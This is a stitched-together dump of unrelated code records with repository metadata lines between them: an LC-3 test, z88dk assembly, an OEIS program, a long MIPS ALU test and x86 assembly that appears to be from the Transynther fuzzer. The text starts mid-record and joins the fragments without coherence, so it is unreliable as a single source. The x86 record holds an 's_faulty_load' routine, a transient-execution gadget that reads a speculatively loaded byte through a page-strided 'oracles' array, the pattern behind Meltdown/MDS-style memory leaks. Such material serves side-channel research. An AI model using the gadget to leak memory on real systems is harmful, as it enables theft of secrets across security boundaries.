{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'00': 20286}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.305389 | 2,999 | 0.652317 |
ebeabfc0bf69a8a3ab3f1b4e247601110769ad7c | 177 | asm | Assembly | testcode/test_no_op_insert.asm | 1justinbarnett/ece411-sp2017 | ee0d07724f717e7ab8ba8a6277a2e57c985cf42c | [
"CC0-1.0"
] | null | null | null | testcode/test_no_op_insert.asm | 1justinbarnett/ece411-sp2017 | ee0d07724f717e7ab8ba8a6277a2e57c985cf42c | [
"CC0-1.0"
] | null | null | null | testcode/test_no_op_insert.asm | 1justinbarnett/ece411-sp2017 | ee0d07724f717e7ab8ba8a6277a2e57c985cf42c | [
"CC0-1.0"
] | null | null | null | ORIGIN 4x0000
SEGMENT CodeSegment:
LEA R0, CHECK
LDR R1, R0, 0
ADD R3, R1, 0
ADD R4, R5, 0
ENDLOOP:
BRnzp ENDLOOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
CHECK: DATA2 4x600D
| 8.85 | 20 | 0.677966 |
5f2144f8061346705f65b77b7ee43c7650352647 | 4,655 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_773.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_773.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_773.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x18238, %rsi
lea addresses_WT_ht+0x8a38, %rdi
nop
nop
and %rax, %rax
mov $41, %rcx
rep movsb
nop
nop
nop
inc %rdx
lea addresses_A_ht+0x1c238, %rcx
nop
nop
nop
nop
nop
and %rdx, %rdx
mov (%rcx), %ax
nop
add %rax, %rax
lea addresses_D_ht+0x8e38, %rsi
lea addresses_normal_ht+0xcc8, %rdi
nop
nop
nop
nop
inc %r8
mov $8, %rcx
rep movsl
nop
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %rax
push %rdx
// Faulty Load
lea addresses_PSE+0x12a38, %r14
nop
nop
nop
nop
sub $47801, %rax
vmovups (%r14), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r13
lea oracles, %r10
and $0xff, %r13
shlq $12, %r13
mov (%r10,%r13,1), %r13
pop %rdx
pop %rax
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 50.597826 | 2,999 | 0.663802 |
740656c526cbd52b44f0e4e8a97227a696a49c03 | 375 | asm | Assembly | libsrc/stdio_new/general/stdio_buff2caps.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/stdio_new/general/stdio_buff2caps.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | libsrc/stdio_new/general/stdio_buff2caps.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | ; stdio_buff2caps
; 05.2008 aralbrec
XLIB stdio_buff2caps
LIB asm_toupper
; capitalize all letters in buffer
;
; enter : b = number of chars in buffer
; hl = & buffer - 1
; uses : af
.stdio_buff2caps
ld a,b
or a
ret z
push bc
push hl
.loop
inc hl
ld a,(hl)
call asm_toupper
ld (hl),a
djnz loop
pop hl
pop bc
ret
| 11.363636 | 40 | 0.6 |
cb8ca33332539fae0a6b5602062a31aa8efb40b9 | 298 | asm | Assembly | libsrc/_DEVELOPMENT/font/font_8x8/_zx7_font_8x8_cpc_system.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/font/font_8x8/_zx7_font_8x8_cpc_system.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/font/font_8x8/_zx7_font_8x8_cpc_system.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Amstrad CPC font, modified to ZX code page
;
; Extracted from the CPC464 ROM
;
SECTION rodata_font
SECTION rodata_font_8x8
PUBLIC _zx7_font_8x8_cpc_system
PUBLIC _zx7_font_8x8_cpc_system_end
_zx7_font_8x8_cpc_system:
BINARY "font_8x8_cpc_system.bin.zx7"
_zx7_font_8x8_cpc_system_end:
| 16.555556 | 44 | 0.825503 |
78c38f312f783554c050cbac1f7b14f600a4f14c | 642 | asm | Assembly | programs/oeis/314/A314221.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/314/A314221.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/314/A314221.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A314221: Coordination sequence Gal.6.641.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,11,17,22,28,34,40,45,51,57,62,67,73,79,84,90,96,102,107,113,119,124,129,135,141,146,152,158,164,169,175,181,186,191,197,203,208,214,220,226,231,237,243,248,253,259,265,270,276
mov $2,$0
add $2,1
mov $5,$0
lpb $2
mov $0,$5
sub $2,1
sub $0,$2
add $4,1
lpb $4
mov $3,$0
add $3,$0
add $0,$3
sub $4,1
lpb $0
lpb $0
mod $0,11
lpe
div $0,4
add $0,4
lpe
lpe
mov $3,$0
add $3,1
add $1,$3
lpe
| 22.137931 | 181 | 0.598131 |
d813ca97616ed7f5df9eb4fb8582431c4fb03cb5 | 12,518 | asm | Assembly | P6/data_P6_2/ALUTest82.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | 1 | 2022-01-23T09:24:47.000Z | 2022-01-23T09:24:47.000Z | P6/data_P6_2/ALUTest82.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | P6/data_P6_2/ALUTest82.asm | alxzzhou/BUAA_CO_2020 | b54bf367081a5a11701ebc3fc78a23494aecca9e | [
"Apache-2.0"
] | null | null | null | srlv $0,$5,$3
addu $1,$3,$3
sb $4,8($0)
lbu $0,4($0)
subu $3,$3,$3
subu $3,$4,$3
sra $4,$4,22
lb $1,6($0)
or $4,$5,$3
xori $4,$2,35144
sw $0,4($0)
sra $1,$4,23
sllv $5,$4,$3
addiu $3,$1,-7580
srlv $3,$0,$3
lb $3,1($0)
ori $3,$3,29016
sb $4,6($0)
ori $3,$6,5127
sltu $4,$3,$3
lw $3,16($0)
slt $3,$3,$3
lw $3,16($0)
sb $3,13($0)
ori $0,$5,59976
addiu $4,$5,22227
sh $3,16($0)
srlv $3,$5,$3
xor $5,$4,$3
slti $1,$4,-8914
slti $3,$5,-10132
andi $4,$6,36162
slt $3,$0,$3
addiu $1,$5,-12740
ori $6,$6,3042
slti $3,$0,16071
ori $0,$4,24248
nor $4,$5,$3
sllv $1,$5,$3
nor $4,$5,$3
nor $1,$3,$3
sltiu $4,$4,-17117
srl $1,$1,8
sll $5,$0,17
addu $3,$5,$3
sw $3,0($0)
sra $1,$1,31
subu $3,$3,$3
andi $1,$4,45281
sh $1,2($0)
lb $4,11($0)
sll $6,$4,20
or $4,$4,$3
and $6,$6,$3
slti $1,$5,-7359
sra $6,$4,16
sltu $1,$1,$3
andi $3,$3,62016
sllv $3,$0,$3
sltu $3,$0,$3
slt $1,$3,$3
addu $0,$3,$3
or $6,$3,$3
lh $1,8($0)
srav $6,$6,$3
sb $3,13($0)
lw $6,12($0)
sh $4,14($0)
sltu $1,$5,$3
nor $5,$4,$3
lb $4,11($0)
or $3,$3,$3
sltiu $0,$3,26454
sb $1,9($0)
lhu $6,10($0)
slti $3,$3,-9696
subu $3,$1,$3
sltiu $3,$1,23055
lh $4,0($0)
addiu $4,$3,22303
andi $3,$6,32472
srav $5,$3,$3
addu $1,$1,$3
sb $6,0($0)
sltu $1,$3,$3
addiu $4,$4,28256
addu $3,$5,$3
srlv $6,$0,$3
slti $4,$4,-24119
sh $0,2($0)
sh $0,6($0)
addu $4,$5,$3
or $1,$3,$3
srlv $1,$3,$3
sw $1,12($0)
sh $5,0($0)
lw $4,12($0)
lhu $3,2($0)
or $4,$1,$3
addiu $4,$5,-32608
and $3,$5,$3
sllv $0,$5,$3
sll $4,$6,1
xor $4,$1,$3
addu $0,$0,$3
nor $5,$0,$3
sh $4,8($0)
addu $3,$6,$3
lh $4,4($0)
xori $3,$4,14293
or $3,$3,$3
xori $4,$4,44121
srav $1,$4,$3
and $3,$3,$3
sw $3,0($0)
lw $6,4($0)
or $3,$3,$3
subu $1,$5,$3
addu $5,$4,$3
lbu $5,12($0)
srl $3,$4,9
sra $3,$5,3
and $1,$3,$3
sw $3,12($0)
srav $4,$5,$3
sll $4,$0,29
lb $5,5($0)
andi $4,$4,62630
lhu $3,10($0)
sltiu $3,$4,28548
addiu $1,$4,-145
lhu $6,16($0)
and $3,$3,$3
srlv $3,$5,$3
sra $1,$4,19
addu $5,$4,$3
sw $5,12($0)
subu $4,$4,$3
sh $4,2($0)
lb $4,7($0)
sb $1,6($0)
lh $1,16($0)
sh $3,10($0)
srav $5,$3,$3
or $4,$3,$3
srlv $1,$0,$3
srav $3,$1,$3
addu $1,$2,$3
sltiu $3,$3,11355
lb $3,3($0)
lh $5,4($0)
srav $3,$1,$3
ori $0,$3,34083
slti $6,$6,-13822
sb $3,12($0)
sra $4,$3,23
slt $5,$1,$3
sll $5,$6,8
addiu $4,$4,26364
addu $4,$4,$3
sw $3,16($0)
andi $3,$4,4925
xori $4,$3,33798
subu $3,$3,$3
subu $5,$5,$3
or $6,$3,$3
srl $4,$0,4
lw $3,16($0)
srl $3,$4,30
srav $4,$0,$3
srl $4,$4,26
subu $1,$1,$3
lhu $3,8($0)
addu $6,$1,$3
subu $3,$6,$3
or $5,$3,$3
slti $3,$3,4993
addiu $3,$4,-16809
sb $1,13($0)
slt $1,$4,$3
lb $3,1($0)
srlv $0,$3,$3
addu $5,$1,$3
lbu $4,13($0)
sh $4,6($0)
lh $6,8($0)
subu $3,$4,$3
sh $0,6($0)
sh $4,0($0)
sll $1,$4,19
lh $4,6($0)
lb $1,14($0)
lh $4,4($0)
sll $6,$3,26
lw $5,16($0)
srav $0,$1,$3
lw $4,0($0)
sllv $3,$3,$3
slt $1,$1,$3
xori $3,$3,35675
sh $5,16($0)
srl $1,$3,3
lbu $6,7($0)
lw $4,16($0)
lbu $4,8($0)
lbu $1,6($0)
andi $3,$0,20750
andi $3,$3,50131
addu $4,$3,$3
sll $6,$6,22
or $5,$3,$3
addiu $3,$3,-1340
addu $4,$6,$3
andi $1,$1,15943
xor $4,$6,$3
sltiu $6,$3,26706
slti $1,$5,26878
sh $1,10($0)
nor $3,$4,$3
sb $0,9($0)
addu $1,$1,$3
addu $3,$3,$3
subu $3,$5,$3
ori $3,$3,57194
addiu $3,$4,10928
lbu $1,6($0)
and $3,$4,$3
srlv $4,$3,$3
sll $6,$6,24
sb $5,2($0)
sllv $5,$4,$3
andi $3,$4,41254
sra $3,$1,10
srav $5,$0,$3
addiu $1,$6,1818
subu $1,$2,$3
slt $4,$2,$3
nor $3,$1,$3
srlv $0,$4,$3
lw $3,16($0)
lbu $4,5($0)
and $4,$5,$3
srl $4,$4,13
sltiu $3,$3,9866
nor $3,$3,$3
nor $1,$1,$3
slt $3,$3,$3
sltiu $5,$5,-14829
sltiu $1,$1,31277
addiu $5,$5,-22131
lw $4,4($0)
addiu $4,$1,-7686
sra $0,$3,22
sllv $3,$2,$3
subu $3,$4,$3
lbu $6,1($0)
lw $4,4($0)
lhu $3,8($0)
xori $4,$1,25442
ori $3,$1,63413
sb $1,6($0)
slti $1,$5,-30691
ori $4,$4,56093
xor $5,$4,$3
xor $0,$0,$3
sltiu $1,$3,-17191
addu $5,$3,$3
slti $4,$4,19829
nor $4,$6,$3
subu $4,$1,$3
slti $4,$4,-23016
or $3,$2,$3
sll $5,$1,22
sll $3,$4,14
srlv $3,$3,$3
lb $3,0($0)
addiu $3,$3,-32381
sltiu $1,$1,29621
lw $3,0($0)
srl $3,$0,16
addu $6,$3,$3
addu $0,$6,$3
lhu $3,10($0)
sll $4,$1,28
slti $5,$4,-18926
lw $3,16($0)
addiu $3,$4,-29224
sh $4,0($0)
sltiu $3,$3,-3590
subu $3,$3,$3
sb $1,14($0)
lh $6,12($0)
subu $3,$3,$3
slt $3,$5,$3
sllv $3,$3,$3
lbu $3,14($0)
slti $1,$3,20094
srl $4,$4,26
lh $0,4($0)
lw $3,4($0)
srlv $3,$3,$3
sltu $5,$5,$3
addu $4,$0,$3
slt $6,$5,$3
addiu $3,$3,-12314
sra $3,$4,25
srl $4,$4,17
addiu $0,$6,-1878
sltiu $3,$3,-14111
lhu $4,10($0)
nor $5,$3,$3
slt $4,$5,$3
srl $4,$3,6
sltu $4,$4,$3
lbu $3,2($0)
sltiu $5,$6,6935
lh $3,2($0)
sltiu $4,$5,12472
sra $1,$4,21
addiu $3,$5,14023
lw $0,4($0)
sra $4,$3,10
lb $5,10($0)
xor $4,$4,$3
or $1,$4,$3
ori $5,$0,17016
sll $3,$1,12
slt $5,$3,$3
sllv $3,$3,$3
sh $3,6($0)
sra $3,$1,22
addu $5,$4,$3
srlv $4,$4,$3
lhu $3,16($0)
srlv $5,$6,$3
lhu $1,4($0)
srlv $4,$1,$3
srav $3,$3,$3
xor $3,$5,$3
srl $3,$3,18
xori $5,$5,34858
addu $1,$1,$3
sb $0,15($0)
srl $1,$6,15
sh $5,8($0)
sw $3,0($0)
andi $4,$4,6752
sltiu $3,$3,-21184
slt $4,$4,$3
andi $4,$3,23525
lbu $5,13($0)
addiu $3,$1,25021
slt $0,$1,$3
lbu $6,16($0)
or $4,$5,$3
sltu $4,$4,$3
sb $3,3($0)
addu $1,$5,$3
addiu $5,$4,3062
addiu $3,$3,-6592
lhu $3,6($0)
sh $4,8($0)
sltiu $3,$5,26780
srl $3,$5,25
srlv $3,$0,$3
slti $3,$3,-9751
nor $3,$1,$3
sltiu $5,$3,-18512
addu $1,$1,$3
xor $1,$5,$3
sltiu $1,$1,2813
slti $6,$6,16574
ori $1,$1,54857
ori $3,$5,51879
subu $3,$1,$3
sra $3,$3,22
sh $5,6($0)
lw $6,8($0)
sltiu $5,$3,10211
srl $4,$5,7
subu $3,$6,$3
lbu $3,14($0)
sb $3,2($0)
sltiu $3,$3,-26829
and $4,$4,$3
lbu $4,1($0)
sltiu $4,$4,28411
sllv $3,$3,$3
slt $3,$3,$3
lhu $3,2($0)
or $3,$4,$3
lhu $1,8($0)
sll $3,$3,1
sll $3,$2,31
sw $5,4($0)
andi $0,$3,8074
addu $1,$0,$3
ori $1,$4,6305
andi $3,$3,54776
sltu $5,$6,$3
lbu $4,8($0)
sltu $4,$2,$3
sb $3,3($0)
sltu $5,$3,$3
lh $4,6($0)
subu $3,$3,$3
sltiu $5,$5,-18516
lhu $1,10($0)
sll $0,$3,9
sb $4,16($0)
lh $5,6($0)
sh $4,16($0)
andi $0,$4,25262
sw $1,0($0)
and $3,$5,$3
slt $4,$3,$3
subu $1,$3,$3
srl $5,$1,25
sltiu $4,$4,3489
subu $3,$3,$3
sw $1,16($0)
addiu $4,$1,-1737
sltu $3,$3,$3
addiu $3,$3,6622
addiu $5,$5,12137
or $1,$1,$3
srlv $4,$4,$3
lhu $5,16($0)
addiu $3,$1,-2298
lw $0,12($0)
subu $5,$2,$3
or $4,$1,$3
lb $4,0($0)
ori $0,$0,43129
sb $3,4($0)
srl $0,$3,6
sllv $6,$5,$3
sw $3,4($0)
andi $4,$3,17206
xor $3,$3,$3
addu $1,$5,$3
sllv $4,$4,$3
lb $3,3($0)
xor $4,$5,$3
srav $3,$3,$3
lbu $4,14($0)
addu $0,$6,$3
sra $6,$1,23
addu $4,$4,$3
and $4,$3,$3
xori $5,$4,41643
srlv $5,$3,$3
subu $6,$2,$3
lhu $3,16($0)
addu $3,$3,$3
sltu $1,$1,$3
slti $4,$3,-3514
lb $3,9($0)
subu $4,$4,$3
sllv $3,$5,$3
sltu $4,$2,$3
sltu $3,$5,$3
srl $3,$5,8
ori $3,$6,30423
lw $3,16($0)
lhu $1,6($0)
slti $3,$3,25606
sra $3,$3,2
lb $5,12($0)
xori $5,$4,65145
sh $4,4($0)
ori $4,$2,13771
lh $1,16($0)
nor $4,$5,$3
srlv $6,$5,$3
srlv $4,$4,$3
xori $3,$3,2018
subu $4,$4,$3
ori $3,$4,54527
srav $5,$3,$3
srlv $2,$2,$3
srav $5,$3,$3
lbu $1,11($0)
subu $0,$3,$3
andi $6,$2,16182
or $4,$4,$3
xor $5,$1,$3
sltiu $0,$4,-19830
xori $5,$2,42312
srlv $4,$1,$3
srl $4,$4,27
lb $3,11($0)
subu $5,$1,$3
srav $3,$3,$3
sw $3,8($0)
lh $4,0($0)
sra $3,$3,18
srlv $4,$3,$3
srl $3,$3,21
sll $5,$3,14
lbu $3,4($0)
sltiu $5,$5,28613
sltu $3,$1,$3
addu $3,$4,$3
addiu $5,$4,-27776
lbu $1,14($0)
xori $5,$0,9091
nor $4,$3,$3
sh $3,6($0)
lw $2,16($0)
and $5,$6,$3
addu $3,$1,$3
xori $4,$4,59405
slti $3,$6,22752
addu $4,$5,$3
lhu $4,0($0)
sra $0,$4,3
subu $4,$4,$3
sllv $0,$0,$3
sll $3,$5,18
lbu $4,7($0)
lw $5,12($0)
srlv $5,$4,$3
srl $3,$0,24
slti $4,$3,-12356
sltiu $5,$4,18220
nor $4,$5,$3
addu $4,$4,$3
sh $1,16($0)
sh $1,8($0)
lw $3,12($0)
sw $0,4($0)
ori $1,$3,62563
lb $1,10($0)
subu $1,$1,$3
sltu $4,$5,$3
xor $0,$1,$3
sllv $6,$4,$3
sltu $6,$6,$3
sll $4,$3,28
xori $0,$4,34711
addu $4,$1,$3
sltiu $3,$1,13017
subu $5,$3,$3
xor $5,$1,$3
lh $3,12($0)
addiu $0,$4,-14444
lhu $3,16($0)
and $4,$3,$3
lw $4,8($0)
subu $6,$4,$3
xori $5,$3,37139
addiu $1,$6,-23756
lw $6,0($0)
sltiu $3,$5,-1428
lbu $1,11($0)
ori $3,$3,43127
lh $4,2($0)
subu $4,$5,$3
sltiu $4,$4,-17494
addiu $3,$4,-4207
slt $0,$3,$3
srl $5,$4,30
and $3,$3,$3
subu $5,$4,$3
sll $0,$5,18
xori $3,$1,12504
lh $3,0($0)
sw $0,16($0)
sltu $1,$1,$3
nor $3,$5,$3
sh $4,12($0)
addiu $5,$0,22541
addiu $5,$5,-10331
lhu $4,14($0)
andi $4,$5,43440
lw $3,4($0)
sra $6,$1,4
slti $4,$3,26461
lhu $5,16($0)
sllv $3,$4,$3
srl $5,$1,13
sll $5,$3,20
ori $3,$6,48530
addiu $5,$3,20058
srlv $5,$3,$3
addu $5,$1,$3
lhu $6,10($0)
sra $3,$4,31
addu $1,$3,$3
srl $6,$0,6
